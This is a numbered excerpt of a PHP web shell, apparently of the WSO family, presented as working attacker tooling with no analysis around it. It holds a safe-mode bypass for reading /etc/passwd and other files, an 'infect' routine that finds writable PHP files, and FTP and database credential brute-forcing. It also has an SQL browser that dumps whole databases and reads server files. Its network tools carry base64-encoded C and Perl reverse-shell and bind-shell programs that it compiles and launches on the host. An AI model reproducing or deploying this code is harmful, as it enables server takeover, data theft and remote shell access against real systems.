  1100. imap_close($stream);
  1101. break;
  1102. }
  1103. $temp = ob_get_clean();
  1104. hardHeader();
  1105. echo '<h1>Safe mode bypass</h1><div class=content>';
  1106. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
  1107. if($temp)
  1108. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1109. echo '</div>';
  1110. hardFooter();
  1111. }
  1112. function actionLogout() {
  1113. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1114. die('bye!');
  1115. }
  1116. function actionSelfRemove() {
  1117. if($_POST['p1'] == 'yes')
  1118. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1119. die('Shell has been removed');
  1120. else
  1121. echo 'unlink error!';
  1122. if($_POST['p1'] != 'yes')
  1123. hardHeader();
  1124. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1125. hardFooter();
  1126. }
  1127. function actionInfect() {
  1128. hardHeader();
  1129. echo '<h1>Infect</h1><div class=content>';
  1130. if($_POST['p1'] == 'infect') {
  1131. $target=$_SERVER['DOCUMENT_ROOT'];
  1132. function ListFiles($dir) {
  1133. if($dh = opendir($dir)) {
  1134. $files = Array();
  1135. $inner_files = Array();
  1136. while($file = readdir($dh)) {
  1137. if($file != "." && $file != "..") {
  1138. if(is_dir($dir . "/" . $file)) {
  1139. $inner_files = ListFiles($dir . "/" . $file);
  1140. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  1141. } else {
  1142. array_push($files, $dir . "/" . $file);
  1143. }
  1144. }
  1145. }
  1146. closedir($dh);
  1147. return $files;
  1148. }
  1149. }
  1150. foreach (ListFiles($target) as $key=>$file){
  1151. $nFile = substr($file, -4, 4);
  1152. if($nFile == ".php" ){
  1153. if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
  1154. echo "$file<br>";
  1155. $i++;
  1156. }
  1157. }
  1158. }
  1159. echo "<font color=red size=14>$i</font>";
  1160. }else{
  1161. echo "<form method=post><input type=submit value=Infect name=infet></form>";
  1162. echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
  1163. }
  1164. hardFooter();
  1165. }
  1166. function actionBruteforce() {
  1167. hardHeader();
  1168. if( isset($_POST['proto']) ) {
  1169. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1170. if( $_POST['proto'] == 'ftp' ) {
  1171. function bruteForce($ip,$port,$login,$pass) {
  1172. $fp = @ftp_connect($ip, $port?$port:21);
  1173. if(!$fp) return false;
  1174. $res = @ftp_login($fp, $login, $pass);
  1175. @ftp_close($fp);
  1176. return $res;
  1177. }
  1178. } elseif( $_POST['proto'] == 'mysql' ) {
  1179. function bruteForce($ip,$port,$login,$pass) {
  1180. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1181. @mysql_close($res);
  1182. return $res;
  1183. }
  1184. } elseif( $_POST['proto'] == 'pgsql' ) {
  1185. function bruteForce($ip,$port,$login,$pass) {
  1186. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1187. $res = @pg_connect($str);
  1188. @pg_close($res);
  1189. return $res;
  1190. }
  1191. }
  1192. $success = 0;
  1193. $attempts = 0;
  1194. $server = explode(":", $_POST['server']);
  1195. if($_POST['type'] == 1) {
  1196. $temp = @file('/etc/passwd');
  1197. if( is_array($temp) )
  1198. foreach($temp as $line) {
  1199. $line = explode(":", $line);
  1200. ++$attempts;
  1201. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1202. $success++;
  1203. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1204. }
  1205. if(@$_POST['reverse']) {
  1206. $tmp = "";
  1207. for($i=strlen($line[0])-1; $i>=0; --$i)
  1208. $tmp .= $line[0][$i];
  1209. ++$attempts;
  1210. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1211. $success++;
  1212. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1213. }
  1214. }
  1215. }
  1216. } elseif($_POST['type'] == 2) {
  1217. $temp = @file($_POST['dict']);
  1218. if( is_array($temp) )
  1219. foreach($temp as $line) {
  1220. $line = trim($line);
  1221. ++$attempts;
  1222. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1223. $success++;
  1224. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1225. }
  1226. }
  1227. }
  1228. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1229. }
  1230. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1231. .'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
  1232. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1233. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1234. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1235. .'<input type=hidden name=ne value="">'
  1236. .'<span>Server:port</span></td>'
  1237. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1238. .'<tr><td><span>Brute type</span></td>'
  1239. .'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
  1240. .'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
  1241. .'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
  1242. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1243. .'<td><input type=text name=login value="root"></td></tr>'
  1244. .'<tr><td><span>Dictionary</span></td>'
  1245. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1246. .'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
  1247. echo '</div>';
  1248. hardFooter();
  1249. }
  1250. function actionSql() {
  1251. class DbClass {
  1252. var $type;
  1253. var $link;
  1254. var $res;
  1255. function DbClass($type) {
  1256. $this->type = $type;
  1257. }
  1258. function connect($host, $user, $pass, $dbname){
  1259. switch($this->type) {
  1260. case 'mysql':
  1261. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1262. break;
  1263. case 'pgsql':
  1264. $host = explode(':', $host);
  1265. if(!$host[1]) $host[1]=5432;
  1266. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1267. break;
  1268. }
  1269. return false;
  1270. }
  1271. function selectdb($db) {
  1272. switch($this->type) {
  1273. case 'mysql':
  1274. if (@mysql_select_db($db))return true;
  1275. break;
  1276. }
  1277. return false;
  1278. }
  1279. function query($str) {
  1280. switch($this->type) {
  1281. case 'mysql':
  1282. return $this->res = @mysql_query($str);
  1283. break;
  1284. case 'pgsql':
  1285. return $this->res = @pg_query($this->link,$str);
  1286. break;
  1287. }
  1288. return false;
  1289. }
  1290. function fetch() {
  1291. $res = func_num_args()?func_get_arg(0):$this->res;
  1292. switch($this->type) {
  1293. case 'mysql':
  1294. return @mysql_fetch_assoc($res);
  1295. break;
  1296. case 'pgsql':
  1297. return @pg_fetch_assoc($res);
  1298. break;
  1299. }
  1300. return false;
  1301. }
  1302. function listDbs() {
  1303. switch($this->type) {
  1304. case 'mysql':
  1305. return $this->query("SHOW databases");
  1306. break;
  1307. case 'pgsql':
  1308. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1309. break;
  1310. }
  1311. return false;
  1312. }
  1313. function listTables() {
  1314. switch($this->type) {
  1315. case 'mysql':
  1316. return $this->res = $this->query('SHOW TABLES');
  1317. break;
  1318. case 'pgsql':
  1319. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1320. break;
  1321. }
  1322. return false;
  1323. }
  1324. function error() {
  1325. switch($this->type) {
  1326. case 'mysql':
  1327. return @mysql_error();
  1328. break;
  1329. case 'pgsql':
  1330. return @pg_last_error();
  1331. break;
  1332. }
  1333. return false;
  1334. }
  1335. function setCharset($str) {
  1336. switch($this->type) {
  1337. case 'mysql':
  1338. if(function_exists('mysql_set_charset'))
  1339. return @mysql_set_charset($str, $this->link);
  1340. else
  1341. $this->query('SET CHARSET '.$str);
  1342. break;
  1343. case 'pgsql':
  1344. return @pg_set_client_encoding($this->link, $str);
  1345. break;
  1346. }
  1347. return false;
  1348. }
  1349. function loadFile($str) {
  1350. switch($this->type) {
  1351. case 'mysql':
  1352. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1353. break;
  1354. case 'pgsql':
  1355. $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
  1356. $r=array();
  1357. while($i=$this->fetch())
  1358. $r[] = $i['file'];
  1359. $this->query('drop table hard2');
  1360. return array('file'=>implode("\n",$r));
  1361. break;
  1362. }
  1363. return false;
  1364. }
  1365. function dump($table, $fp = false) {
  1366. switch($this->type) {
  1367. case 'mysql':
  1368. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1369. $create = mysql_fetch_array($res);
  1370. $sql = $create[1].";\n";
  1371. if($fp) fwrite($fp, $sql); else echo($sql);
  1372. $this->query('SELECT * FROM `'.$table.'`');
  1373. $i = 0;
  1374. $head = true;
  1375. while($▟ = $this->fetch()) {
  1376. $sql = '';
  1377. if($i % 1000 == 0) {
  1378. $head = true;
  1379. $sql = ";\n\n";
  1380. }
  1381. $columns = array();
  1382. foreach($▟ as $k=>$v) {
  1383. if($v === null)
  1384. $▟[$k] = "NULL";
  1385. elseif(is_int($v))
  1386. $▟[$k] = $v;
  1387. else
  1388. $▟[$k] = "'".@mysql_real_escape_string($v)."'";
  1389. $columns[] = "`".$k."`";
  1390. }
  1391. if($head) {
  1392. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $▟).')';
  1393. $head = false;
  1394. } else
  1395. $sql .= "\n\t,(".implode(", ", $▟).')';
  1396. if($fp) fwrite($fp, $sql); else echo($sql);
  1397. $i++;
  1398. }
  1399. if(!$head)
  1400. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1401. break;
  1402. case 'pgsql':
  1403. $this->query('SELECT * FROM '.$table);
  1404. while($▟ = $this->fetch()) {
  1405. $columns = array();
  1406. foreach($▟ as $k=>$v) {
  1407. $▟[$k] = "'".addslashes($v)."'";
  1408. $columns[] = $k;
  1409. }
  1410. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $▟).');'."\n";
  1411. if($fp) fwrite($fp, $sql); else echo($sql);
  1412. }
  1413. break;
  1414. }
  1415. return false;
  1416. }
  1417. };
  1418. $db = new DbClass($_POST['type']);
  1419. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1420. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1421. $db->selectdb($_POST['sql_base']);
  1422. switch($_POST['charset']) {
  1423. case "Windows-1251": $db->setCharset('cp1251'); break;
  1424. case "UTF-8": $db->setCharset('utf8'); break;
  1425. case "KOI8-R": $db->setCharset('koi8r'); break;
  1426. case "KOI8-U": $db->setCharset('koi8u'); break;
  1427. case "cp866": $db->setCharset('cp866'); break;
  1428. }
  1429. if(empty($_POST['file'])) {
  1430. ob_start("ob_gzhandler", 4096);
  1431. header("Content-Disposition: attachment; filename=dump.sql");
  1432. header("Content-Type: text/plain");
  1433. foreach($_POST['tbl'] as $v)
  1434. $db->dump($v);
  1435. exit;
  1436. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1437. foreach($_POST['tbl'] as $v)
  1438. $db->dump($v, $fp);
  1439. fclose($fp);
  1440. unset($_POST['p2']);
  1441. } else
  1442. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1443. }
  1444. hardHeader();
  1445. echo "
  1446. <h1>Sql browser</h1><div class=content>
  1447. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1448. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1449. <input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1450. <td><label><select name='type'><option value='mysql' ";
  1451. if(@$_POST['type']=='mysql')echo 'selected';
  1452. echo ">MySql</option><option value='pgsql' ";
  1453. if(@$_POST['type']=='pgsql')echo 'selected';
  1454. echo ">PostgreSql</option></select></label></td>
  1455. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1456. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1457. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
  1458. $tmp = "<input type=text name=sql_base value=''>";
  1459. if(isset($_POST['sql_host'])){
  1460. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1461. switch($_POST['charset']) {
  1462. case "Windows-1251": $db->setCharset('cp1251'); break;
  1463. case "UTF-8": $db->setCharset('utf8'); break;
  1464. case "KOI8-R": $db->setCharset('koi8r'); break;
  1465. case "KOI8-U": $db->setCharset('koi8u'); break;
  1466. case "cp866": $db->setCharset('cp866'); break;
  1467. }
  1468. $db->listDbs();
  1469. echo "<label><select name=sql_base><option value=''></option>";
  1470. while($▟ = $db->fetch()) {
  1471. list($key, $value) = each($▟);
  1472. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1473. }
  1474. echo '</select></label>';
  1475. }
  1476. else echo $tmp;
  1477. }else
  1478. echo $tmp;
  1479. echo "</td>
  1480. <td><input type=submit value='submit' onclick='fs(d.sf);'></td>
  1481. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1482. </tr>
  1483. </table>
  1484. <script>
  1485. s_db='".@addslashes($_POST['sql_base'])."';
  1486. function fs(f) {
  1487. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1488. if(f.p1) f.p1.value='';
  1489. if(f.p2) f.p2.value='';
  1490. if(f.p3) f.p3.value='';
  1491. }
  1492. }
  1493. function st(t,l) {
  1494. d.sf.p1.value = 'select';
  1495. d.sf.p2.value = t;
  1496. if(l && d.sf.p3) d.sf.p3.value = l;
  1497. d.sf.submit();
  1498. }
  1499. function is() {
  1500. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1501. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1502. }
  1503. </script>";
  1504. if(isset($db) && $db->link){
  1505. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1506. if(!empty($_POST['sql_base'])){
  1507. $db->selectdb($_POST['sql_base']);
  1508. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1509. $tbls_res = $db->listTables();
  1510. while($▟ = $db->fetch($tbls_res)) {
  1511. list($key, $value) = each($▟);
  1512. if(!empty($_POST['sql_count']))
  1513. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1514. $value = htmlspecialchars($value);
  1515. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1516. }
  1517. echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1518. if(@$_POST['p1'] == 'select') {
  1519. $_POST['p1'] = 'query';
  1520. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1521. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1522. $num = $db->fetch();
  1523. $pages = ceil($num['n'] / 30);
  1524. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1525. echo " of $pages";
  1526. if($_POST['p3'] > 1)
  1527. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1528. if($_POST['p3'] < $pages)
  1529. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1530. $_POST['p3']--;
  1531. if($_POST['type']=='pgsql')
  1532. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1533. else
  1534. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1535. echo "<br><br>";
  1536. }
  1537. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1538. $db->query(@$_POST['p2']);
  1539. if($db->res !== false) {
  1540. $title = false;
  1541. echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
  1542. $line = 1;
  1543. while($▟ = $db->fetch()) {
  1544. if(!$title) {
  1545. echo '<tr>';
  1546. foreach($▟ as $key => $value)
  1547. echo '<th>'.$key.'</th>';
  1548. reset($▟);
  1549. $title=true;
  1550. echo '</tr><tr>';
  1551. $line = 2;
  1552. }
  1553. echo '<tr class="l'.$line.'">';
  1554. $line = $line==1?2:1;
  1555. foreach($▟ as $key => $value) {
  1556. if($value == null)
  1557. echo '<td><i>null</i></td>';
  1558. else
  1559. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1560. }
  1561. echo '</tr>';
  1562. }
  1563. echo '</table>';
  1564. } else {
  1565. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1566. }
  1567. }
  1568. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1569. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1570. echo htmlspecialchars($_POST['p2']);
  1571. echo "</textarea><br/><input type=submit value='Execute'>";
  1572. echo "</td></tr>";
  1573. }
  1574. echo "</table></form><br/>";
  1575. if($_POST['type']=='mysql') {
  1576. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1577. if($db->fetch())
  1578. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
  1579. }
  1580. if(@$_POST['p1'] == 'loadfile') {
  1581. $file = $db->loadFile($_POST['p2']);
  1582. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1583. }
  1584. } else {
  1585. echo htmlspecialchars($db->error());
  1586. }
  1587. echo '</div>';
  1588. hardFooter();
  1589. }
  1590. function actionNetwork() {
  1591. hardHeader();
  1592. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1593. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1594. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1595. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1596. echo "<h1>Network tools</h1><div class=content>
  1597. <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
  1598. <span>Bind port to /bin/sh</span><br/>
  1599. Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
  1600. </form>
  1601. <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
  1602. <span>Back-connect to</span><br/>
  1603. Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
  1604. </form><br>";
  1605. if(isset($_POST['p1'])) {
  1606. function cf($f,$t) {
  1607. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1608. if($w) {
  1609. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1610. @fclose($w);
  1611. }
  1612. }
  1613. if($_POST['p1'] == 'bpc') {
  1614. cf("/tmp/bp.c",$bind_port_c);
  1615. $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
  1616. @unlink("/tmp/bp.c");
  1617. $▖ .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1618. echo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";
  1619. }
  1620. if($_POST['p1'] == 'bpp') {
  1621. cf("/tmp/bp.pl",$bind_port_p);
  1622. $▖ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1623. echo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";
  1624. }
  1625. if($_POST['p1'] == 'bcc') {
  1626. cf("/tmp/bc.c",$back_connect_c);
  1627. $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
  1628. @unlink("/tmp/bc.c");
  1629. $▖ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1630. echo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";
  1631. }
  1632. if($_POST['p1'] == 'bcp') {
  1633. cf("/tmp/bc.pl",$back_connect_p);
  1634. $▖ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1635. echo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";
  1636. }
  1637. }
  1638. echo '</div>';
  1639. hardFooter();
  1640. }
  1641. if( empty($_POST['a']) )
  1642. if(isset($▚) && function_exists('action' . $▚))
  1643. $_POST['a'] = $▚;
  1644. else
  1645. $_POST['a'] = 'FilesMan';
